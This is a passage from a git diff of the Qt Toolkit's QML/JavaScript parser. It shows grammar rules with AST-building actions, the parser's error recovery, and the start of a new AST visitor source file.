+IterationStatement: T_FOR T_LPAREN T_VAR VariableDeclarationListNotIn T_SEMICOLON ExpressionOpt T_SEMICOLON ExpressionOpt T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::LocalForStatement *node = makeAstNode<AST::LocalForStatement> (driver->nodePool(),
+ sym(4).VariableDeclarationList->finish (/*readOnly=*/false), sym(6).Expression,
+ sym(8).Expression, sym(10).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->varToken = loc(3);
+ node->firstSemicolonToken = loc(5);
+ node->secondSemicolonToken = loc(7);
+ node->rparenToken = loc(9);
+ sym(1).Node = node;
+} break;
+./
+
+IterationStatement: T_FOR T_LPAREN LeftHandSideExpression T_IN Expression T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST:: ForEachStatement *node = makeAstNode<AST::ForEachStatement> (driver->nodePool(), sym(3).Expression,
+ sym(5).Expression, sym(7).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->inToken = loc(4);
+ node->rparenToken = loc(6);
+ sym(1).Node = node;
+} break;
+./
+
+IterationStatement: T_FOR T_LPAREN T_VAR VariableDeclarationNotIn T_IN Expression T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::LocalForEachStatement *node = makeAstNode<AST::LocalForEachStatement> (driver->nodePool(),
+ sym(4).VariableDeclaration, sym(6).Expression, sym(8).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->varToken = loc(3);
+ node->inToken = loc(5);
+ node->rparenToken = loc(7);
+ sym(1).Node = node;
+} break;
+./
+
+ContinueStatement: T_CONTINUE T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+ContinueStatement: T_CONTINUE T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::ContinueStatement *node = makeAstNode<AST::ContinueStatement> (driver->nodePool());
+ node->continueToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ContinueStatement: T_CONTINUE JsIdentifier T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+ContinueStatement: T_CONTINUE JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::ContinueStatement *node = makeAstNode<AST::ContinueStatement> (driver->nodePool(), sym(2).sval);
+ node->continueToken = loc(1);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+BreakStatement: T_BREAK T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+BreakStatement: T_BREAK T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::BreakStatement *node = makeAstNode<AST::BreakStatement> (driver->nodePool());
+ node->breakToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BreakStatement: T_BREAK JsIdentifier T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+BreakStatement: T_BREAK JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::BreakStatement *node = makeAstNode<AST::BreakStatement> (driver->nodePool(), sym(2).sval);
+ node->breakToken = loc(1);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+ReturnStatement: T_RETURN ExpressionOpt T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+ReturnStatement: T_RETURN ExpressionOpt T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::ReturnStatement *node = makeAstNode<AST::ReturnStatement> (driver->nodePool(), sym(2).Expression);
+ node->returnToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+WithStatement: T_WITH T_LPAREN Expression T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::WithStatement *node = makeAstNode<AST::WithStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->withToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+SwitchStatement: T_SWITCH T_LPAREN Expression T_RPAREN CaseBlock ;
+/.
+case $rule_number: {
+ AST::SwitchStatement *node = makeAstNode<AST::SwitchStatement> (driver->nodePool(), sym(3).Expression, sym(5).CaseBlock);
+ node->switchToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+CaseBlock: T_LBRACE CaseClausesOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::CaseBlock *node = makeAstNode<AST::CaseBlock> (driver->nodePool(), sym(2).CaseClauses);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+CaseBlock: T_LBRACE CaseClausesOpt DefaultClause CaseClausesOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::CaseBlock *node = makeAstNode<AST::CaseBlock> (driver->nodePool(), sym(2).CaseClauses, sym(3).DefaultClause, sym(4).CaseClauses);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+CaseClauses: CaseClause ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::CaseClauses> (driver->nodePool(), sym(1).CaseClause);
+} break;
+./
+
+CaseClauses: CaseClauses CaseClause ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::CaseClauses> (driver->nodePool(), sym(1).CaseClauses, sym(2).CaseClause);
+} break;
+./
+
+CaseClausesOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+CaseClausesOpt: CaseClauses ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).CaseClauses->finish ();
+} break;
+./
+
+CaseClause: T_CASE Expression T_COLON StatementListOpt ;
+/.
+case $rule_number: {
+ AST::CaseClause *node = makeAstNode<AST::CaseClause> (driver->nodePool(), sym(2).Expression, sym(4).StatementList);
+ node->caseToken = loc(1);
+ node->colonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+DefaultClause: T_DEFAULT T_COLON StatementListOpt ;
+/.
+case $rule_number: {
+ AST::DefaultClause *node = makeAstNode<AST::DefaultClause> (driver->nodePool(), sym(3).StatementList);
+ node->defaultToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LabelledStatement: T_SIGNAL T_COLON Statement ;
+/.case $rule_number:./
+
+LabelledStatement: T_PROPERTY T_COLON Statement ;
+/.
+case $rule_number: {
+ AST::LabelledStatement *node = makeAstNode<AST::LabelledStatement> (driver->nodePool(), driver->intern(lexer->characterBuffer(), lexer->characterCount()), sym(3).Statement);
+ node->identifierToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LabelledStatement: T_IDENTIFIER T_COLON Statement ;
+/.
+case $rule_number: {
+ AST::LabelledStatement *node = makeAstNode<AST::LabelledStatement> (driver->nodePool(), sym(1).sval, sym(3).Statement);
+ node->identifierToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ThrowStatement: T_THROW Expression T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+ThrowStatement: T_THROW Expression T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::ThrowStatement *node = makeAstNode<AST::ThrowStatement> (driver->nodePool(), sym(2).Expression);
+ node->throwToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+TryStatement: T_TRY Block Catch ;
+/.
+case $rule_number: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Catch);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+TryStatement: T_TRY Block Finally ;
+/.
+case $rule_number: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Finally);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+TryStatement: T_TRY Block Catch Finally ;
+/.
+case $rule_number: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Catch, sym(4).Finally);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+Catch: T_CATCH T_LPAREN JsIdentifier T_RPAREN Block ;
+/.
+case $rule_number: {
+ AST::Catch *node = makeAstNode<AST::Catch> (driver->nodePool(), sym(3).sval, sym(5).Block);
+ node->catchToken = loc(1);
+ node->lparenToken = loc(2);
+ node->identifierToken = loc(3);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+Finally: T_FINALLY Block ;
+/.
+case $rule_number: {
+ AST::Finally *node = makeAstNode<AST::Finally> (driver->nodePool(), sym(2).Block);
+ node->finallyToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+DebuggerStatement: T_DEBUGGER T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+DebuggerStatement: T_DEBUGGER T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::DebuggerStatement *node = makeAstNode<AST::DebuggerStatement> (driver->nodePool());
+ node->debuggerToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+FunctionDeclaration: T_FUNCTION JsIdentifier T_LPAREN FormalParameterListOpt T_RPAREN T_LBRACE FunctionBodyOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::FunctionDeclaration *node = makeAstNode<AST::FunctionDeclaration> (driver->nodePool(), sym(2).sval, sym(4).FormalParameterList, sym(7).FunctionBody);
+ node->functionToken = loc(1);
+ node->identifierToken = loc(2);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ node->lbraceToken = loc(6);
+ node->rbraceToken = loc(8);
+ sym(1).Node = node;
+} break;
+./
+
+FunctionExpression: T_FUNCTION IdentifierOpt T_LPAREN FormalParameterListOpt T_RPAREN T_LBRACE FunctionBodyOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::FunctionExpression *node = makeAstNode<AST::FunctionExpression> (driver->nodePool(), sym(2).sval, sym(4).FormalParameterList, sym(7).FunctionBody);
+ node->functionToken = loc(1);
+ if (sym(2).sval)
+ node->identifierToken = loc(2);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ node->lbraceToken = loc(6);
+ node->rbraceToken = loc(8);
+ sym(1).Node = node;
+} break;
+./
+
+FormalParameterList: JsIdentifier ;
+/.
+case $rule_number: {
+ AST::FormalParameterList *node = makeAstNode<AST::FormalParameterList> (driver->nodePool(), sym(1).sval);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+FormalParameterList: FormalParameterList T_COMMA JsIdentifier ;
+/.
+case $rule_number: {
+ AST::FormalParameterList *node = makeAstNode<AST::FormalParameterList> (driver->nodePool(), sym(1).FormalParameterList, sym(3).sval);
+ node->commaToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+FormalParameterListOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+FormalParameterListOpt: FormalParameterList ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).FormalParameterList->finish ();
+} break;
+./
+
+FunctionBodyOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+FunctionBodyOpt: FunctionBody ;
+
+FunctionBody: SourceElements ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::FunctionBody> (driver->nodePool(), sym(1).SourceElements->finish ());
+} break;
+./
+
+Program: SourceElements ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::Program> (driver->nodePool(), sym(1).SourceElements->finish ());
+} break;
+./
+
+SourceElements: SourceElement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::SourceElements> (driver->nodePool(), sym(1).SourceElement);
+} break;
+./
+
+SourceElements: SourceElements SourceElement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::SourceElements> (driver->nodePool(), sym(1).SourceElements, sym(2).SourceElement);
+} break;
+./
+
+SourceElement: Statement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::StatementSourceElement> (driver->nodePool(), sym(1).Statement);
+} break;
+./
+
+SourceElement: FunctionDeclaration ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::FunctionSourceElement> (driver->nodePool(), sym(1).FunctionDeclaration);
+} break;
+./
+
+IdentifierOpt: ;
+/.
+case $rule_number: {
+ sym(1).sval = 0;
+} break;
+./
+
+IdentifierOpt: JsIdentifier ;
+
+PropertyNameAndValueListOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+PropertyNameAndValueListOpt: PropertyNameAndValueList ;
+
+/.
+ } // switch
+ action = nt_action(state_stack[tos], lhs[r] - TERMINAL_COUNT);
+ } // if
+ } while (action != 0);
+
+ if (first_token == last_token) {
+ const int errorState = state_stack[tos];
+
+ // automatic insertion of `;'
+ if (yytoken != -1 && t_action(errorState, T_AUTOMATIC_SEMICOLON) && automatic(driver, yytoken)) {
+ SavedToken &tk = token_buffer[0];
+ tk.token = yytoken;
+ tk.dval = yylval;
+ tk.loc = yylloc;
+
+ yylloc = yyprevlloc;
+ yylloc.offset += yylloc.length;
+ yylloc.startColumn += yylloc.length;
+ yylloc.length = 0;
+
+ //const QString msg = qApp->translate("QDeclarativeParser", "Missing `;'");
+ //diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Warning, yylloc, msg));
+
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[1];
+
+ yytoken = T_SEMICOLON;
+ yylval = 0;
+
+ action = errorState;
+
+ goto _Lcheck_token;
+ }
+
+ hadErrors = true;
+
+ token_buffer[0].token = yytoken;
+ token_buffer[0].dval = yylval;
+ token_buffer[0].loc = yylloc;
+
+ token_buffer[1].token = yytoken = lexer->lex();
+ token_buffer[1].dval = yylval = lexer->dval();
+ token_buffer[1].loc = yylloc = location(lexer);
+
+ if (t_action(errorState, yytoken)) {
+ QString msg;
+ int token = token_buffer[0].token;
+ if (token < 0 || token >= TERMINAL_COUNT)
+ msg = qApp->translate("QDeclarativeParser", "Syntax error");
+ else
+ msg = qApp->translate("QDeclarativeParser", "Unexpected token `%1'").arg(QLatin1String(spell[token]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+
+ static int tokens[] = {
+ T_PLUS,
+ T_EQ,
+
+ T_COMMA,
+ T_COLON,
+ T_SEMICOLON,
+
+ T_RPAREN, T_RBRACKET, T_RBRACE,
+
+ T_NUMERIC_LITERAL,
+ T_IDENTIFIER,
+
+ T_LPAREN, T_LBRACKET, T_LBRACE,
+
+ EOF_SYMBOL
+ };
+
+ for (int *tk = tokens; *tk != EOF_SYMBOL; ++tk) {
+ int a = t_action(errorState, *tk);
+ if (a > 0 && t_action(a, yytoken)) {
+ const QString msg = qApp->translate("QDeclarativeParser", "Expected token `%1'").arg(QLatin1String(spell[*tk]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ yytoken = *tk;
+ yylval = 0;
+ yylloc = token_buffer[0].loc;
+ yylloc.length = 0;
+
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[2];
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+ }
+
+ for (int tk = 1; tk < TERMINAL_COUNT; ++tk) {
+ if (tk == T_AUTOMATIC_SEMICOLON || tk == T_FEED_UI_PROGRAM ||
+ tk == T_FEED_JS_STATEMENT || tk == T_FEED_JS_EXPRESSION ||
+ tk == T_FEED_JS_SOURCE_ELEMENT)
+ continue;
+
+ int a = t_action(errorState, tk);
+ if (a > 0 && t_action(a, yytoken)) {
+ const QString msg = qApp->translate("QDeclarativeParser", "Expected token `%1'").arg(QLatin1String(spell[tk]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ yytoken = tk;
+ yylval = 0;
+ yylloc = token_buffer[0].loc;
+ yylloc.length = 0;
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+ }
+
+ const QString msg = qApp->translate("QDeclarativeParser", "Syntax error");
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+ }
+
+ return false;
+}
+
+QT_QML_END_NAMESPACE
+
+
+./
+/:
+QT_QML_END_NAMESPACE
+
+
+
+#endif // QDECLARATIVEJSPARSER_P_H
+:/
diff --git a/src/declarative/qml/parser/qdeclarativejsast.cpp b/src/declarative/qml/parser/qdeclarativejsast.cpp
new file mode 100644
index 00000000..ad79dddd
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsast.cpp
@@ -0,0 +1,956 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativejsast_p.h"
+
+#include "private/qdeclarativejsastvisitor_p.h"
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS { namespace AST {
+
+void Node::accept(Visitor *visitor)
+{
+ if (visitor->preVisit(this)) {
+ accept0(visitor);
+ }
+ visitor->postVisit(this);
+}
+
+void Node::accept(Node *node, Visitor *visitor)
+{
+ if (node)
+ node->accept(visitor);
+}
+
+ExpressionNode *Node::expressionCast()
+{
+ return 0;
+}
+
+BinaryExpression *Node::binaryExpressionCast()
+{
+ return 0;
+}
+
+Statement *Node::statementCast()
+{
+ return 0;
+}
+
+UiObjectMember *Node::uiObjectMemberCast()
+{
+ return 0;
+}
+
+ExpressionNode *ExpressionNode::expressionCast()
+{
+ return this;
+}
+
+BinaryExpression *BinaryExpression::binaryExpressionCast()
+{
+ return this;
+}
+
+Statement *Statement::statementCast()
+{
+ return this;
+}
+
+UiObjectMember *UiObjectMember::uiObjectMemberCast()
+{
+ return this;
+}
+
+void NestedExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+ visitor->endVisit(this);
+}
+
+void ThisExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void IdentifierExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void NullExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void TrueLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void FalseLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void StringLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void NumericLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void RegExpLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void ArrayLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(elements, visitor);
+ accept(elision, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ObjectLiteral::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(properties, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ElementList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (ElementList *it = this; it; it = it->next) {
+ accept(it->elision, visitor);
+ accept(it->expression, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void Elision::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ // ###
+ }
+
+ visitor->endVisit(this);
+}
+
+void PropertyNameAndValueList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (PropertyNameAndValueList *it = this; it; it = it->next) {
+ accept(it->name, visitor);
+ accept(it->value, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void IdentifierPropertyName::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void StringLiteralPropertyName::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void NumericLiteralPropertyName::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void ArrayMemberExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void FieldMemberExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void NewMemberExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ accept(arguments, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void NewExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void CallExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ accept(arguments, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ArgumentList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (ArgumentList *it = this; it; it = it->next) {
+ accept(it->expression, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void PostIncrementExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void PostDecrementExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(base, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void DeleteExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void VoidExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void TypeOfExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void PreIncrementExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void PreDecrementExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UnaryPlusExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UnaryMinusExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void TildeExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void NotExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void BinaryExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(left, visitor);
+ accept(right, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ConditionalExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(ok, visitor);
+ accept(ko, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void Expression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(left, visitor);
+ accept(right, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void Block::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statements, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void StatementList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (StatementList *it = this; it; it = it->next) {
+ accept(it->statement, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void VariableStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(declarations, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void VariableDeclarationList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (VariableDeclarationList *it = this; it; it = it->next) {
+ accept(it->declaration, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void VariableDeclaration::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void EmptyStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void ExpressionStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void IfStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(ok, visitor);
+ accept(ko, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void DoWhileStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void WhileStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ForStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(initialiser, visitor);
+ accept(condition, visitor);
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void LocalForStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(declarations, visitor);
+ accept(condition, visitor);
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ForEachStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(initialiser, visitor);
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void LocalForEachStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(declaration, visitor);
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void ContinueStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void BreakStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void ReturnStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void WithStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void SwitchStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(block, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void CaseBlock::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(clauses, visitor);
+ accept(defaultClause, visitor);
+ accept(moreClauses, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void CaseClauses::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (CaseClauses *it = this; it; it = it->next) {
+ accept(it->clause, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void CaseClause::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(statements, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void DefaultClause::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statements, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void LabelledStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
